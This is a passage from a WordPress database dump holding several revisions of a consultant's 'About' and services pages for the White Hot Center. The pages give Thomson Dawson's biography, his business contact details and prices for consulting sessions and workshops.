strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:17:19', '2014-06-29 17:17:19', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-67/', 0, 'revision', '', 0),
(2644, 2, '2014-06-29 10:20:34', '2014-06-29 17:20:34', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development, Business Transformation and Creative Consultant</h2>\r\n<span style="color: #000000;"><strong>For nearly 30 years, Thomson </strong><strong>has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #000000;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #000000;"><strong></strong><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:20:34', '2014-06-29 17:20:34', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-68/', 0, 'revision', '', 0),
(2646, 2, '2014-06-29 10:28:18', '2014-06-29 17:28:18', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #edab11;">About Thomson Dawson</span>\r\n<span style="color: #edab11;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</span>\r\n\r\n<span style="color: #000000;">Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-06-29 10:28:18', '2014-06-29 17:28:18', '', 143, 'http://www.whitehotcenter.com/2014/06/143-revision-70/', 0, 'revision', '', 0),
(2647, 2, '2013-08-24 14:27:08', '2013-08-24 21:27:08', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed for small business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific business development or business transformation challenges. There are four key areas of focus within the workshop day to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying higher value clients who are the best fit for your business.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your brand possitioning, value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the specific business development challenges you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and strategic decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a successful business.  Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resosurces for their future success into all areas of their business. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-24 14:27:08', '2013-08-24 21:27:08', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-207/', 0, 'revision', '', 0),
(2648, 2, '2014-06-29 10:55:44', '2014-06-29 17:55:44', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you get your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth,  you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are with are tirelessly heads down working hard in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important of creating new value for higher value customers and clients.\r\n\r\nMy passion is to inspire,guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know f rom my own experiences the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all  entrepreneurs along their way to building a successful business.  Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 10:55:44', '2014-06-29 17:55:44', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-208/', 0, 'revision', '', 0),
(2649, 2, '2014-06-29 11:00:19', '2014-06-29 18:00:19', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth,  you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are with are tirelessly heads down working hard in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important of creating new value for higher value customers and clients.\r\n\r\nMy passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.From my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all  entrepreneurs along their way to building a successful business.  Allow me to help you create the success you desire in your business and in your whole life!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, 